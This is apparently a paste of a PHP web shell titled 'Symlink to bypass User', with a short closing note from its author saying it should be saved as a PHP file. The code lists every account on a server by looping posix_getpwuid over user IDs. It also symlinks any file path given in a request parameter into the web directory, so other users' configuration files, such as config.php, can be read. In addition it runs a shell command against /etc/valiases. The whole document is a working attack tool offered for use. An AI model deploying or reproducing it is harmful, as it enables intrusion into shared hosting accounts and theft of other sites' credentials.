SHOW:
|
|
- or go back to the newest paste.
| 1 | <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> | |
| 2 | ||
| 3 | <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> | |
| 4 | ||
| 5 | ||
| 6 | <head> | |
| 7 | <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> | |
| 8 | <head> | |
| 9 | <title>ZaraByte - Symlink to bypass User</title> | |
| 10 | <style type="text/css"> | |
| 11 | {
| |
| 12 | margin: 0 auto; | |
| 13 | } | |
| 14 | ||
| 15 | ||
| 16 | body {
| |
| 17 | font-family: Verdana; | |
| 18 | font-size: 12px; | |
| 19 | background: #EEE url(http://i.imgur.com/F4fqd.gif); | |
| 20 | background-attachment: fixed; | |
| 21 | background-attachment: scroll; | |
| 22 | background-color: #333 | |
| 23 | } | |
| 24 | ||
| 25 | ||
| 26 | a {
| |
| 27 | color: #36C; | |
| 28 | } | |
| 29 | a:hover {
| |
| 30 | color: #06F; | |
| 31 | } | |
| 32 | ||
| 33 | ||
| 34 | .container {
| |
| 35 | background: #333; | |
| 36 | margin: 0 auto; | |
| 37 | padding-bottom: 6px; | |
| 38 | width: 531px; | |
| 39 | border: 1px solid #000; | |
| 40 | } | |
| 41 | .header {
| |
| 42 | background: #333; | |
| 43 | border: 1px solid #000; | |
| 44 | margin-bottom: 8px; | |
| 45 | } | |
| 46 | ||
| 47 | ||
| 48 | .title h1 {
| |
| 49 | color: #000; | |
| 50 | font: bold 3em Verdana,sans-serif; | |
| 51 | height: 120px; | |
| 52 | line-height: 12px; | |
| 53 | margin-bottom: 8px; | |
| 54 | text-align: center; | |
| 55 | } | |
| 56 | ||
| 57 | ||
| 58 | </style> | |
| 59 | ||
| 60 | ||
| 61 | </head> | |
| 62 | ||
| 63 | ||
| 64 | ||
| 65 | ||
| 66 | <body> | |
| 67 | ||
| 68 | ||
| 69 | <div class="container"> | |
| 70 | ||
| 71 | <div class="main"> | |
| 72 | ||
| 73 | ||
| 74 | <div class="header"> | |
| 75 | ||
| 76 | <div class="title"> | |
| 77 | <h1><img src="http://i.imgur.com/nt3do.png"></h1></div> | |
| 78 | </div> | |
| 79 | ||
| 80 | ||
| 81 | </div> | |
| 82 | ||
| 83 | <div class="content"> | |
| 84 | ||
| 85 | ||
| 86 | <div class="item"> | |
| 87 | <form style="border: 1px solid #333"> | |
| 88 | <center><font color="#FF0000">-= [Symlink to bypass User] =-</font><br> | |
| 89 | <font color="#FF0000">Redesigned by ZaraByte </font><br> | |
| 90 | <font color="#FF0000"><a href=http://zarabyte.com>http://zarabyte.com</a><br> | |
| 91 | <font color="#FF0000"><a href="mailto:[email protected]" style="text-decoration: none"> | |
| 92 | <font color="#FF0000">[email protected]</font></a></font></center> | |
| 93 | </form> | |
| 94 | <font face=tahoma size=2> | |
| 95 | <form style="border: 1px solid #000"> | |
| 96 | <font color=red>Filename to view:</font> | |
| 97 | <input type="text" name="c" value="<?php $line=$_SERVER['DOCUMENT_ROOT']; echo $line . "/path/to/config.php"; ?>" size="51"> | |
| 98 | <input type="submit" value="Submit"> | |
| 99 | </form> | |
| 100 | <br> | |
| 101 | <form style="border: 1px solid #000"> | |
| 102 | <font color=red>Option 1:</font><br> | |
| 103 | <font color=red>Get Users in Server:</font><br> | |
| 104 | <select size=\"1\" name="passwd"><option value="option1">/etc/passwd</option></select> | |
| 105 | <input type="submit" value="Submit"><br> | |
| 106 | <font color=red>Recommended Option! Option 2. doesn't work on all servers. </font><br> | |
| 107 | </form> | |
| 108 | <br> | |
| 109 | <form style="border: 1px solid #000"> | |
| 110 | <font color=red>Option 2:</font><br> | |
| 111 | <font color=red>Get Name Sites with User: </font><br> | |
| 112 | <select size="1" name="valiases"> | |
| 113 | <option value="option2">/etc/valiases</option></select> | |
| 114 | <input type="submit" value="Submit"><br> | |
| 115 | <font color=red>Works on some servers if nothing shows try Option 1.</font><br> | |
| 116 | </form> | |
| 117 | <textarea method='POST' rows=15 cols=63 wrap=off> | |
| 118 | <?php | |
| 119 | ||
| 120 | ||
| 121 | if ($_GET['passwd'] ) | |
| 122 | ||
| 123 | ||
| 124 | for($uid=0;$uid<60000;$uid++){ //cat /etc/passwd
| |
| 125 | $ara = posix_getpwuid($uid); | |
| 126 | if (!empty($ara)) {
| |
| 127 | while (list ($key, $val) = each($ara)){
| |
| 128 | print "$val:"; | |
| 129 | } | |
| 130 | print "\n"; | |
| 131 | } | |
| 132 | } | |
| 133 | echo "</textarea>"; | |
| 134 | ||
| 135 | ||
| 136 | $k = $_GET['c']; | |
| 137 | $flib = "output.txt"; | |
| 138 | ||
| 139 | ||
| 140 | if ($k == "") {
| |
| 141 | die; | |
| 142 | }else{
| |
| 143 | @unlink($flib); | |
| 144 | $sym = $k; | |
| 145 | $link = getcwd() . "/" . $flib; | |
| 146 | @symlink($sym, $link); | |
| 147 | if ($k{0} == "/") {
| |
| 148 | echo "<script> window.location = '" . $flib . "'</script>"; | |
| 149 | }else{
| |
| 150 | echo "<pre><xmp>"; | |
| 151 | echo readlink($flib) . "\n"; | |
| 152 | echo "Filesize: " . linkinfo($flib) . "B\n\n"; | |
| 153 | $ddir = getcwd(); | |
| 154 | $file2 = str_replace($DOCUMENT_ROOT,'' , $ddir); | |
| 155 | $file2 = "http://" . $SERVER_NAME . $filee . $flib; | |
| 156 | $result = file_get_contents($file2); echo $result; | |
| 157 | } | |
| 158 | } | |
| 159 | if ($_GET['valiases'] ) | |
| 160 | system('ls -al /etc/valiases'); //Only Works with some servers!
| |
| 161 | ?> | |
| 162 | </div> | |
| 163 | </body> | |
| 164 | - | </html> |
| 164 | + | </html> |
| 165 | ||
| 166 | ||
| 167 | Replace the old code with this the one i released is missing the php code sorry about that still trying to recover stuff but this should work fine... save it as a php file. |